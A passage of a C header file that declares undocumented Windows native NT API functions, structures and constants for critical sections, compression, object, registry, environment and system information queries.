NTSTATUS Status\n    );\n\nNTSYSAPI\nVOID\nNTAPI\nDbgBreakPoint(\n    VOID\n    );\n\nNTSYSAPI\nULONG\n_cdecl\nDbgPrint(\n    PCH Format,\n    ...\n    );\n\n// Since Windows XP\nNTSYSAPI\nULONG\n__cdecl\nDbgPrintEx(\n    IN ULONG ComponentId,\n    IN ULONG Level,\n    IN PCSTR Format,\n    ...\n    );\n\nNTSYSAPI\nULONG\nNTAPI\nRtlRandom(\n    IN OUT PULONG Seed\n    );\n\n//-----------------------------------------------------------------------------\n// Critical section functions\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlInitializeCriticalSection(\n    IN  PRTL_CRITICAL_SECTION CriticalSection\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlInitializeCriticalSectionAndSpinCount(\n    IN  PRTL_CRITICAL_SECTION CriticalSection,\n    IN  ULONG SpinCount\n    );\n\nNTSYSAPI\nBOOL\nNTAPI\nRtlTryEnterCriticalSection(\n    IN PRTL_CRITICAL_SECTION CriticalSection\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlEnterCriticalSection(\n    IN PRTL_CRITICAL_SECTION CriticalSection\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlLeaveCriticalSection(\n    IN PRTL_CRITICAL_SECTION CriticalSection\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlDeleteCriticalSection(\n    IN  PRTL_CRITICAL_SECTION CriticalSection\n    );\n\n//-----------------------------------------------------------------------------\n// Compression and decompression\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlCompressBuffer(\n    IN  USHORT CompressionFormatAndEngine,\n    IN  PUCHAR UncompressedBuffer,\n    IN  ULONG UncompressedBufferSize,\n    OUT PUCHAR CompressedBuffer,\n    IN  ULONG CompressedBufferSize,\n    IN  ULONG UncompressedChunkSize,\n    OUT PULONG FinalCompressedSize,\n    IN  PVOID WorkSpace\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlDecompressBuffer(\n    IN  USHORT CompressionFormat,\n    OUT PUCHAR UncompressedBuffer,\n    IN  ULONG UncompressedBufferSize,\n    IN  PUCHAR CompressedBuffer,\n    IN  ULONG CompressedBufferSize,\n    OUT PULONG FinalUncompressedSize\n    );\n\n//-----------------------------------------------------------------------------\n// 8.3 name support\n\ntypedef struct _GENERATE_NAME_CONTEXT\n{\n    //\n    //  The structure is divided into two strings.  The Name, and extension.\n    //  Each part contains the value that was last inserted in the name.\n    //  The length values are in terms of wchars and not bytes.  We also\n    //  store the last index value used in the generation collision algorithm.\n    //\n\n    USHORT Checksum;\n    BOOLEAN ChecksumInserted;\n\n    UCHAR NameLength;                             // not including extension\n    WCHAR NameBuffer[8];                          // e.g., \"ntoskrnl\"\n\n    ULONG ExtensionLength;                        // including dot\n    WCHAR ExtensionBuffer[4];                     // e.g., \".exe\"\n\n    ULONG LastIndexValue;\n\n} GENERATE_NAME_CONTEXT, *PGENERATE_NAME_CONTEXT;\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlIsNameLegalDOS8Dot3(\n    IN PUNICODE_STRING Name,\n    IN OUT POEM_STRING OemName OPTIONAL,\n    OUT PBOOLEAN NameContainsSpaces OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlGenerate8dot3Name (\n    IN PCUNICODE_STRING Name,\n    IN BOOLEAN AllowExtendedCharacters,\n    IN OUT PGENERATE_NAME_CONTEXT Context,\n    IN OUT PUNICODE_STRING Name8dot3\n    );\n\n//-----------------------------------------------------------------------------\n// Object functions\n\n//\n// Object Manager Directory Specific Access Rights.\n//\n\n#ifndef DIRECTORY_QUERY\n#define DIRECTORY_QUERY                         0x0001\n#define DIRECTORY_TRAVERSE                      0x0002\n#define DIRECTORY_CREATE_OBJECT                 0x0004\n#define DIRECTORY_CREATE_SUBDIRECTORY           0x0008\n#define DIRECTORY_ALL_ACCESS                    (STANDARD_RIGHTS_REQUIRED | 0xF)\n#endif\n\ntypedef enum _POOL_TYPE {\n    NonPagedPool,\n    PagedPool,\n    NonPagedPoolMustSucceed,\n    DontUseThisType,\n    NonPagedPoolCacheAligned,\n    PagedPoolCacheAligned,\n    NonPagedPoolCacheAlignedMustS,\n    MaxPoolType,\n    NonPagedPoolSession = 32,\n    PagedPoolSession,\n    NonPagedPoolMustSucceedSession,\n    DontUseThisTypeSession,\n    NonPagedPoolCacheAlignedSession,\n    PagedPoolCacheAlignedSession,\n    NonPagedPoolCacheAlignedMustSSession\n\n} POOL_TYPE;\n\n\n//\n// For NtQueryObject\n//\n\ntypedef enum _OBJECT_INFORMATION_CLASS\n{\n    ObjectBasicInformation,\n    ObjectNameInformation,\n    ObjectTypeInformation,\n    ObjectTypesInformation,\n    ObjectHandleFlagInformation,\n    ObjectSessionInformation,\n    MaxObjectInfoClass\n\n} OBJECT_INFORMATION_CLASS;\n\n//\n// NtQueryObject uses ObjectBasicInformation\n//\n\ntypedef struct _OBJECT_BASIC_INFORMATION\n{\n    ULONG Attributes;\n    ACCESS_MASK GrantedAccess;\n    ULONG HandleCount;\n    ULONG PointerCount;\n    ULONG PagedPoolUsage;\n    ULONG NonPagedPoolUsage;\n    ULONG Reserved[3];\n    ULONG NameInformationLength;\n    ULONG TypeInformationLength;\n    ULONG SecurityDescriptorLength;\n    LARGE_INTEGER CreateTime;\n} OBJECT_BASIC_INFORMATION, *POBJECT_BASIC_INFORMATION;\n\n//\n// NtQueryObject uses ObjectNameInformation\n//\n\ntypedef struct _OBJECT_NAME_INFORMATION\n{\n    UNICODE_STRING Name;\n} OBJECT_NAME_INFORMATION, *POBJECT_NAME_INFORMATION;\n\n//\n// NtQueryObject uses ObjectTypeInformation\n//\n\ntypedef struct _OBJECT_TYPE_INFORMATION\n{\n    UNICODE_STRING TypeName;\n    ULONG TotalNumberOfObjects;\n    ULONG TotalNumberOfHandles;\n    ULONG TotalPagedPoolUsage;\n    ULONG TotalNonPagedPoolUsage;\n    ULONG TotalNamePoolUsage;\n    ULONG TotalHandleTableUsage;\n    ULONG HighWaterNumberOfObjects;\n    ULONG HighWaterNumberOfHandles;\n    ULONG HighWaterPagedPoolUsage;\n    ULONG HighWaterNonPagedPoolUsage;\n    ULONG HighWaterNamePoolUsage;\n    ULONG HighWaterHandleTableUsage;\n    ULONG InvalidAttributes;\n    GENERIC_MAPPING GenericMapping;\n    ULONG ValidAccessMask;\n    BOOLEAN SecurityRequired;\n    BOOLEAN MaintainHandleCount;\n    ULONG PoolType;\n    ULONG DefaultPagedPoolCharge;\n    ULONG DefaultNonPagedPoolCharge;\n} OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION;\n\ntypedef struct _OBJECT_TYPES_INFORMATION\n{\n    ULONG NumberOfTypes;\n    OBJECT_TYPE_INFORMATION TypeInformation[1];\n} OBJECT_TYPES_INFORMATION, *POBJECT_TYPES_INFORMATION;\n\n//\n// NtQueryObject uses ObjectHandleFlagInformation\n// NtSetInformationObject uses ObjectHandleFlagInformation\n//\n\ntypedef struct _OBJECT_HANDLE_FLAG_INFORMATION\n{\n    BOOLEAN Inherit;\n    BOOLEAN ProtectFromClose;\n} OBJECT_HANDLE_FLAG_INFORMATION, *POBJECT_HANDLE_FLAG_INFORMATION;\n\n//\n// NtQueryDirectoryObject uses this type\n//\n\ntypedef struct _OBJECT_DIRECTORY_INFORMATION\n{\n    UNICODE_STRING Name;\n    UNICODE_STRING TypeName;\n} OBJECT_DIRECTORY_INFORMATION, *POBJECT_DIRECTORY_INFORMATION;\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtCreateDirectoryObject(\n    OUT PHANDLE DirectoryHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtOpenDirectoryObject(\n    OUT PHANDLE DirectoryHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtQueryDirectoryObject(\n    IN HANDLE DirectoryHandle,\n    OUT PVOID Buffer,\n    IN ULONG Length,\n    IN BOOLEAN ReturnSingleEntry,\n    IN BOOLEAN RestartScan,\n    IN OUT PULONG Context,\n    OUT PULONG ReturnLength OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtQueryObject (\n    IN HANDLE ObjectHandle,\n    IN OBJECT_INFORMATION_CLASS ObjectInformationClass,\n    OUT PVOID ObjectInformation,\n    IN ULONG Length,\n    OUT PULONG ResultLength OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtSetInformationObject (\n    IN HANDLE ObjectHandle,\n    IN OBJECT_INFORMATION_CLASS ObjectInformationClass,\n    IN PVOID ObjectInformation,\n    IN ULONG Length\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtDuplicateObject (\n    IN HANDLE SourceProcessHandle,\n    IN HANDLE SourceHandle,\n    IN HANDLE TargetProcessHandle OPTIONAL,\n    OUT PHANDLE TargetHandle OPTIONAL,\n    IN ACCESS_MASK DesiredAccess,\n    IN ULONG HandleAttributes,\n    IN ULONG Options\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtQuerySecurityObject (\n    IN HANDLE ObjectHandle,\n    IN SECURITY_INFORMATION SecurityInformation,\n    OUT PSECURITY_DESCRIPTOR SecurityDescriptor,\n    IN ULONG DescriptorLength,\n    OUT PULONG ReturnLength\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwQuerySecurityObject (\n    IN HANDLE ObjectHandle,\n    IN SECURITY_INFORMATION SecurityInformation,\n    OUT PSECURITY_DESCRIPTOR SecurityDescriptor,\n    IN ULONG DescriptorLength,\n    OUT PULONG ReturnLength\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtSetSecurityObject (\n    IN HANDLE ObjectHandle,\n    IN SECURITY_INFORMATION SecurityInformation,\n    IN PSECURITY_DESCRIPTOR SecurityDescriptor\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwSetSecurityObject (\n    IN HANDLE ObjectHandle,\n    IN SECURITY_INFORMATION SecurityInformation,\n    IN PSECURITY_DESCRIPTOR SecurityDescriptor\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtMakeTemporaryObject(\n    IN HANDLE ObjectHandle\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwMakeTemporaryObject(\n    IN HANDLE ObjectHandle\n    );\n\n//-----------------------------------------------------------------------------\n// Handle table RTL functions\n\n#define LEVEL_HANDLE_ID         0x74000000\n#define LEVEL_HANDLE_ID_MASK    0xFF000000\n#define LEVEL_HANDLE_INDEX_MASK 0x00FFFFFF\n\ntypedef enum _RTL_GENERIC_COMPARE_RESULTS\n{\n    GenericLessThan,\n    GenericGreaterThan,\n    GenericEqual\n} RTL_GENERIC_COMPARE_RESULTS;\n\n\ntypedef struct _RTL_SPLAY_LINKS\n{\n    struct _RTL_SPLAY_LINKS *Parent;\n    struct _RTL_SPLAY_LINKS *LeftChild;\n    struct _RTL_SPLAY_LINKS *RightChild;\n} RTL_SPLAY_LINKS, *PRTL_SPLAY_LINKS;\n\n\nstruct _RTL_GENERIC_TABLE;\n\ntypedef\nRTL_GENERIC_COMPARE_RESULTS\n(NTAPI * PRTL_GENERIC_COMPARE_ROUTINE) (\n    struct _RTL_GENERIC_TABLE *Table,\n    PVOID FirstStruct,\n    PVOID SecondStruct\n    );\n\ntypedef\nPVOID\n(NTAPI *PRTL_GENERIC_ALLOCATE_ROUTINE) (\n    struct _RTL_GENERIC_TABLE *Table,\n    ULONG ByteSize\n    );\n\ntypedef\nVOID\n(NTAPI *PRTL_GENERIC_FREE_ROUTINE) (\n    struct _RTL_GENERIC_TABLE *Table,\n    PVOID Buffer\n    );\n\n\ntypedef struct _RTL_GENERIC_TABLE\n{\n    PRTL_SPLAY_LINKS TableRoot;\n    LIST_ENTRY InsertOrderList;\n    PLIST_ENTRY OrderedPointer;\n    ULONG WhichOrderedElement;\n    ULONG NumberGenericTableElements;\n    PRTL_GENERIC_COMPARE_ROUTINE CompareRoutine;\n    PRTL_GENERIC_ALLOCATE_ROUTINE AllocateRoutine;\n    PRTL_GENERIC_FREE_ROUTINE FreeRoutine;\n    PVOID TableContext;\n} RTL_GENERIC_TABLE, *PRTL_GENERIC_TABLE;\n\n\ntypedef struct _RTL_HANDLE_TABLE_ENTRY\n{\n    ULONG Flags;\n    struct _RTL_HANDLE_TABLE_ENTRY *NextFree;\n} RTL_HANDLE_TABLE_ENTRY, *PRTL_HANDLE_TABLE_ENTRY;\n\n\ntypedef struct _RTL_HANDLE_TABLE\n{\n    ULONG MaximumNumberOfHandles;\n    ULONG SizeOfHandleTableEntry;\n    ULONG Reserved[2];\n    PRTL_HANDLE_TABLE_ENTRY FreeHandles;\n    PRTL_HANDLE_TABLE_ENTRY CommittedHandles;\n    PRTL_HANDLE_TABLE_ENTRY UnCommittedHandles;\n    PRTL_HANDLE_TABLE_ENTRY MaxReservedHandles;\n} RTL_HANDLE_TABLE, *PRTL_HANDLE_TABLE;\n\nNTSYSAPI\nVOID\nNTAPI\nRtlInitializeGenericTable (\n    IN PRTL_GENERIC_TABLE Table,\n    IN PRTL_GENERIC_COMPARE_ROUTINE CompareRoutine,\n    IN PRTL_GENERIC_ALLOCATE_ROUTINE AllocateRoutine,\n    IN PRTL_GENERIC_FREE_ROUTINE FreeRoutine,\n    IN PVOID TableContext\n    );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlInitializeHandleTable(\n    IN ULONG MaximumNumberOfHandles,\n    IN ULONG SizeOfHandleTableEntry,\n    OUT PRTL_HANDLE_TABLE HandleTable\n    );\n\nNTSYSAPI\nPRTL_HANDLE_TABLE_ENTRY\nNTAPI\nRtlAllocateHandle(\n    IN PRTL_HANDLE_TABLE HandleTable,\n    OUT PULONG HandleIndex OPTIONAL\n    );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlFreeHandle(\n    IN PRTL_HANDLE_TABLE HandleTable,\n    IN PRTL_HANDLE_TABLE_ENTRY Handle\n    );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlIsValidIndexHandle(\n    IN PRTL_HANDLE_TABLE HandleTable,\n    IN ULONG HandleIndex,\n    OUT PRTL_HANDLE_TABLE_ENTRY *Handle\n    );\n\nNTSYSAPI\nPVOID\nNTAPI\nRtlInsertElementGenericTable (\n    IN PRTL_GENERIC_TABLE Table,\n    IN PVOID Buffer,\n    IN LONG BufferSize,\n    OUT PBOOLEAN NewElement OPTIONAL\n    );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlIsGenericTableEmpty (\n    IN PRTL_GENERIC_TABLE Table\n    );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlIsGenericTableEmpty (\n    IN PRTL_GENERIC_TABLE Table\n    );\n\nNTSYSAPI\nPVOID\nNTAPI\nRtlLookupElementGenericTable (\n    IN PRTL_GENERIC_TABLE Table,\n    IN PVOID Buffer\n    );\n\nNTSYSAPI\nPVOID\nNTAPI\nRtlEnumerateGenericTableWithoutSplaying(\n    IN  PRTL_GENERIC_TABLE Table,\n    IN  PVOID *RestartKey\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtClose(\n    IN  HANDLE Handle\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwClose(\n    IN  HANDLE Handle\n    );\n\n//-----------------------------------------------------------------------------\n// Environment functions\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlOpenCurrentUser(\n    IN ULONG DesiredAccess,\n    OUT PHANDLE CurrentUserKey\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlCreateEnvironment(\n    BOOLEAN CloneCurrentEnvironment,\n    PVOID *Environment\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlExpandEnvironmentStrings_U(\n    IN PVOID Environment OPTIONAL,\n    IN PUNICODE_STRING Source,\n    OUT PUNICODE_STRING Destination,\n    OUT PULONG ReturnedLength OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlQueryEnvironmentVariable_U(\n    IN PVOID Environment,\n    IN PUNICODE_STRING Name,\n    OUT PUNICODE_STRING Value\n    );\n\nNTSYSAPI\nULONG\nNTAPI\nRtlDosSearchPath_U(\n    IN PCWSTR lpPath,\n    IN PCWSTR lpFileName,\n    IN PCWSTR lpExtension OPTIONAL,\n    IN ULONG nBufferLength,\n    OUT PWSTR lpBuffer,\n    OUT PWSTR *lpFilePart\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlSetEnvironmentVariable(\n    PVOID *Environment,\n    PUNICODE_STRING Name,\n    PUNICODE_STRING Value\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlDestroyEnvironment(\n    PVOID Environment\n    );\n\n//-----------------------------------------------------------------------------\n// Registry functions\n\ntypedef enum _KEY_INFORMATION_CLASS\n{\n    KeyBasicInformation,\n    KeyNodeInformation,\n    KeyFullInformation,\n    KeyNameInformation,\n    KeyCachedInformation,\n    KeyFlagsInformation\n\n} KEY_INFORMATION_CLASS;\n\ntypedef enum _KEY_VALUE_INFORMATION_CLASS\n{\n    KeyValueBasicInformation = 0,\n    KeyValueFullInformation,\n    KeyValuePartialInformation,\n    KeyValueFullInformationAlign64,\n    KeyValuePartialInformationAlign64\n} KEY_VALUE_INFORMATION_CLASS;\n\ntypedef enum _KEY_SET_INFORMATION_CLASS\n{\n    KeyWriteTimeInformation,\n    KeyUserFlagsInformation,\n    MaxKeySetInfoClass\n} KEY_SET_INFORMATION_CLASS;\n\ntypedef struct _KEY_BASIC_INFORMATION\n{\n    LARGE_INTEGER LastWriteTime;\n    ULONG TitleIndex;\n    ULONG NameLength;\n    WCHAR Name[1];\n} KEY_BASIC_INFORMATION, *PKEY_BASIC_INFORMATION;\n\ntypedef struct _KEY_NODE_INFORMATION\n{\n    LARGE_INTEGER LastWriteTime;\n    ULONG TitleIndex;\n    ULONG ClassOffset;\n    ULONG ClassLength;\n    ULONG NameLength;\n    WCHAR Name[1];\n} KEY_NODE_INFORMATION, *PKEY_NODE_INFORMATION;\n\ntypedef struct _KEY_FULL_INFORMATION\n{\n    LARGE_INTEGER LastWriteTime;\n    ULONG TitleIndex;\n    ULONG ClassOffset;\n    ULONG ClassLength;\n    ULONG SubKeys;\n    ULONG MaxNameLen;\n    ULONG MaxClassLen;\n    ULONG Values;\n    ULONG MaxValueNameLen;\n    ULONG MaxValueDataLen;\n    WCHAR Class[1];\n} KEY_FULL_INFORMATION, *PKEY_FULL_INFORMATION;\n\ntypedef struct _KEY_NAME_INFORMATION\n{\n    WCHAR Name[1];\n} KEY_NAME_INFORMATION, *PKEY_NAME_INFORMATION;\n\ntypedef struct _KEY_CACHED_INFORMATION\n{\n    LARGE_INTEGER LastWriteTime;\n    ULONG TitleIndex;\n    ULONG SubKeys;\n    ULONG MaxNameLen;\n    ULONG Values;\n    ULONG MaxValueNameLen;\n    ULONG MaxValueDataLen;\n    ULONG NameLength;\n    WCHAR Name[1];            // Variable length string\n} KEY_CACHED_INFORMATION, *PKEY_CACHED_INFORMATION;\n\ntypedef struct _KEY_FLAGS_INFORMATION\n{\n    ULONG   UserFlags;\n} KEY_FLAGS_INFORMATION, *PKEY_FLAGS_INFORMATION;\n\ntypedef struct _KEY_VALUE_BASIC_INFORMATION\n{\n    ULONG TitleIndex;\n    ULONG Type;\n    ULONG NameLength;\n    WCHAR Name[1];\n} KEY_VALUE_BASIC_INFORMATION, *PKEY_VALUE_BASIC_INFORMATION;\n\ntypedef struct _KEY_VALUE_FULL_INFORMATION\n{\n    ULONG TitleIndex;\n    ULONG Type;\n    ULONG DataOffset;\n    ULONG DataLength;\n    ULONG NameLength;\n    WCHAR Name[1];\n} KEY_VALUE_FULL_INFORMATION, *PKEY_VALUE_FULL_INFORMATION;\n\ntypedef struct _KEY_VALUE_PARTIAL_INFORMATION\n{\n    ULONG TitleIndex;\n    ULONG Type;\n    ULONG DataLength;\n    UCHAR Data[1];\n} KEY_VALUE_PARTIAL_INFORMATION, *PKEY_VALUE_PARTIAL_INFORMATION;\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtLoadKey(\n    IN POBJECT_ATTRIBUTES TargetKey,\n    IN POBJECT_ATTRIBUTES SourceFile\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtLoadKey2(\n    IN POBJECT_ATTRIBUTES TargetKey,\n    IN POBJECT_ATTRIBUTES SourceFile,\n    IN ULONG Flags\n    );\n\n// NtLoadKeyEx for Windows 2003 server\ntypedef NTSTATUS (NTAPI * NTLOADKEYEX_3790)(\n    IN POBJECT_ATTRIBUTES TargetKey,\n    IN POBJECT_ATTRIBUTES SourceFile,\n    IN ULONG Flags,\n    IN HANDLE TrustClassKey OPTIONAL\n    );\n\n// NtLoadKeyEx for Windows Vista to Windows 8.1\ntypedef NTSTATUS (NTAPI * NTLOADKEYEX)(\n    IN POBJECT_ATTRIBUTES TargetKey,\n    IN POBJECT_ATTRIBUTES SourceFile,\n    IN ULONG Flags,\n    IN HANDLE TrustClassKey OPTIONAL,\n    IN PVOID Param5,\n    IN PVOID Param6,\n    IN PVOID Param7,\n    IN PVOID Param8\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtUnloadKey(\n    IN POBJECT_ATTRIBUTES TargetKey\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtCreateKey(\n    OUT PHANDLE KeyHandle,\n    IN  ACCESS_MASK DesiredAccess,\n    IN  POBJECT_ATTRIBUTES ObjectAttributes,\n    IN  ULONG TitleIndex,\n    IN  PUNICODE_STRING Class OPTIONAL,\n    IN  ULONG CreateOptions,\n    OUT PULONG Disposition OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtOpenKey(\n    OUT PHANDLE KeyHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtEnumerateKey(\n    IN HANDLE KeyHandle,\n    IN ULONG Index,\n    IN KEY_INFORMATION_CLASS KeyInformationClass,\n    IN PVOID KeyInformation,\n    IN ULONG Length,\n    IN PULONG ResultLength\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwEnumerateKey(\n    IN HANDLE KeyHandle,\n    IN ULONG Index,\n    IN KEY_INFORMATION_CLASS KeyInformationClass,\n    IN PVOID KeyInformation,\n    IN ULONG Length,\n    IN PULONG ResultLength\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtEnumerateValueKey(\n    IN HANDLE KeyHandle,\n    IN ULONG Index,\n    IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,\n    OUT PVOID  KeyValueInformation,\n    IN  ULONG  Length,\n    OUT PULONG  ResultLength\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwEnumerateValueKey(\n    IN HANDLE KeyHandle,\n    IN ULONG Index,\n    IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,\n    OUT PVOID  KeyValueInformation,\n    IN  ULONG  Length,\n    OUT PULONG  ResultLength\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtDeleteKey(\n    IN HANDLE KeyHandle\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtQueryKey(\n    IN  HANDLE KeyHandle,\n    IN  KEY_INFORMATION_CLASS KeyInformationClass,\n    OUT PVOID KeyInformation OPTIONAL,\n    IN  ULONG Length,\n    OUT PULONG ResultLength\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtQueryValueKey(\n    IN HANDLE KeyHandle,\n    IN PUNICODE_STRING ValueName,\n    IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,\n    OUT PVOID KeyValueInformation,\n    IN ULONG Length,\n    OUT PULONG ResultLength\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtSetValueKey(\n    IN HANDLE KeyHandle,\n    IN PUNICODE_STRING ValueName,\n    IN ULONG TitleIndex OPTIONAL,\n    IN ULONG Type,\n    IN PVOID Data,\n    IN ULONG DataSize\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtDeleteValueKey(\n    IN HANDLE KeyHandle,\n    IN PUNICODE_STRING ValueName\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtFlushKey(\n    IN HANDLE KeyHandle\n    );\n\n//-----------------------------------------------------------------------------\n// RtlQueryRegistryValues\n\n//\n// The following flags specify how the Name field of a RTL_QUERY_REGISTRY_TABLE\n// entry is interpreted.  A NULL name indicates the end of the table.\n//\n\n#define RTL_QUERY_REGISTRY_SUBKEY   0x00000001  // Name is a subkey and remainder of\n                                                // table or until next subkey are value\n                                                // names for that subkey to look at.\n\n#define RTL_QUERY_REGISTRY_TOPKEY   0x00000002  // Reset current key to original key for\n                                                // this and all following table entries.\n\n#define RTL_QUERY_REGISTRY_REQUIRED 0x00000004  // Fail if no match found for this table\n                                                // entry.\n\n#define RTL_QUERY_REGISTRY_NOVALUE  0x00000008  // Used to mark a table entry that has no\n                                                // value name, just wants a call out, not\n                                                // an enumeration of all values.\n\n#define RTL_QUERY_REGISTRY_NOEXPAND 0x00000010  // Used to suppress the expansion of\n                                                // REG_MULTI_SZ into multiple callouts or\n                                                // to prevent the expansion of environment\n                                                // variable values in REG_EXPAND_SZ\n\n#define RTL_QUERY_REGISTRY_DIRECT   0x00000020  // QueryRoutine field ignored.  EntryContext\n                                                // field points to location to store value.\n                                                // For null terminated strings, EntryContext\n                                                // points to UNICODE_STRING structure that\n                                                // that describes maximum size of buffer.\n                                                // If .Buffer field is NULL then a buffer is\n                                                // allocated.\n                                                //\n\n#define RTL_QUERY_REGISTRY_DELETE   0x00000040  // Used to delete value keys after they\n                                                // are queried.\n\n\n//\n// The following values for the RelativeTo parameter determine what the\n// Path parameter to RtlQueryRegistryValues is relative to.\n//\n\n#define RTL_REGISTRY_ABSOLUTE     0             // Path is an absolute registry path.\n#define RTL_REGISTRY_SERVICES     1             // Path is relative to \\Registry\\Machine\\System\\CurrentControlSet\\Services\n#define RTL_REGISTRY_CONTROL      2             // Path is relative to \\Registry\\Machine\\System\\CurrentControlSet\\Control\n#define RTL_REGISTRY_WINDOWS_NT   3             // Path is relative to \\Registry\\Machine\\Software\\Microsoft\\Windows NT\\CurrentVersion\n#define RTL_REGISTRY_DEVICEMAP    4             // Path is relative to \\Registry\\Machine\\Hardware\\DeviceMap\n#define RTL_REGISTRY_USER         5             // Path is relative to \\Registry\\User\\CurrentUser. (For a system process, this is \\User\\.Default)\n#define RTL_REGISTRY_MAXIMUM      6\n#define RTL_REGISTRY_HANDLE       0x40000000    // Specifies that the Path parameter is actually a registry handle to use\n#define RTL_REGISTRY_OPTIONAL     0x80000000    // Specifies that the key referenced by this parameter and the Path parameter are optional\n\n\ntypedef NTSTATUS (NTAPI * PRTL_QUERY_REGISTRY_ROUTINE)(\n    IN PWSTR ValueName,\n    IN ULONG ValueType,\n    IN PVOID ValueData,\n    IN ULONG ValueLength,\n    IN PVOID Context,\n    IN PVOID EntryContext\n    );\n\ntypedef struct _RTL_QUERY_REGISTRY_TABLE\n{\n    PRTL_QUERY_REGISTRY_ROUTINE QueryRoutine;\n    ULONG Flags;\n    PWSTR Name;\n    PVOID EntryContext;\n    ULONG DefaultType;\n    PVOID DefaultData;\n    ULONG DefaultLength;\n} RTL_QUERY_REGISTRY_TABLE, *PRTL_QUERY_REGISTRY_TABLE;\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlQueryRegistryValues(\n    IN ULONG  RelativeTo,\n    IN PCWSTR  Path,\n    IN PRTL_QUERY_REGISTRY_TABLE  QueryTable,\n    IN PVOID  Context,\n    IN PVOID  Environment OPTIONAL\n    );\n\n\n//-----------------------------------------------------------------------------\n// Query system information\n\ntypedef enum _SYSTEM_INFORMATION_CLASS\n{\n    SystemBasicInformation,                     // 0x00\n    SystemProcessorInformation,                 // 0x01\n    SystemPerformanceInformation,               // 0x02\n    SystemTimeOfDayInformation,                 // 0x03\n    SystemPathInformation,                      // 0x04 (Obsolete: Use KUSER_SHARED_DATA)\n    SystemProcessInformation,                   // 0x05\n    SystemCallCountInformation,                 // 0x06\n    SystemDeviceInformation,                    // 0x07\n    SystemProcessorPerformanceInformation,      // 0x08\n    SystemFlagsInformation,                     // 0x09\n    SystemCallTimeInformation,                  // 0x0a\n    SystemModuleInformation,                    // 0x0b\n    SystemLocksInformation,                     // 0x0c\n    SystemStackTraceInformation,                // 0x0d\n    SystemPagedPoolInformation,                 // 0x0e\n    SystemNonPagedPoolInformation,              // 0x0f\n    SystemHandleInformation,                    // 0x10\n    SystemObjectInformation,                    // 0x11\n    SystemPageFileInformation,                  // 0x12\n    SystemVdmInstemulInformation,               // 0x13\n    SystemVdmBopInformation,                    // 0x14\n    SystemFileCacheInformation,                 // 0x15\n    SystemPoolTagInformation,                   // 0x16\n    SystemInterruptInformation,                 // 0x17\n    SystemDpcBehaviorInformation,               // 0x18\n    SystemFullMemoryInformation,                // 0x19\n    SystemLoadGdiDriverInformation,             // 0x1a\n    SystemUnloadGdiDriverInformation,           // 0x1b\n    SystemTimeAdjustmentInformation,            // 0x1c\n    SystemSummaryMemoryInformation,             // 0x1d\n    SystemMirrorMemoryInformation,              // 0x1e\n    SystemPerformanceTraceInformation,          // 0x1f\n    SystemObsolete0,                            // 0x20\n    SystemExceptionInformation,                 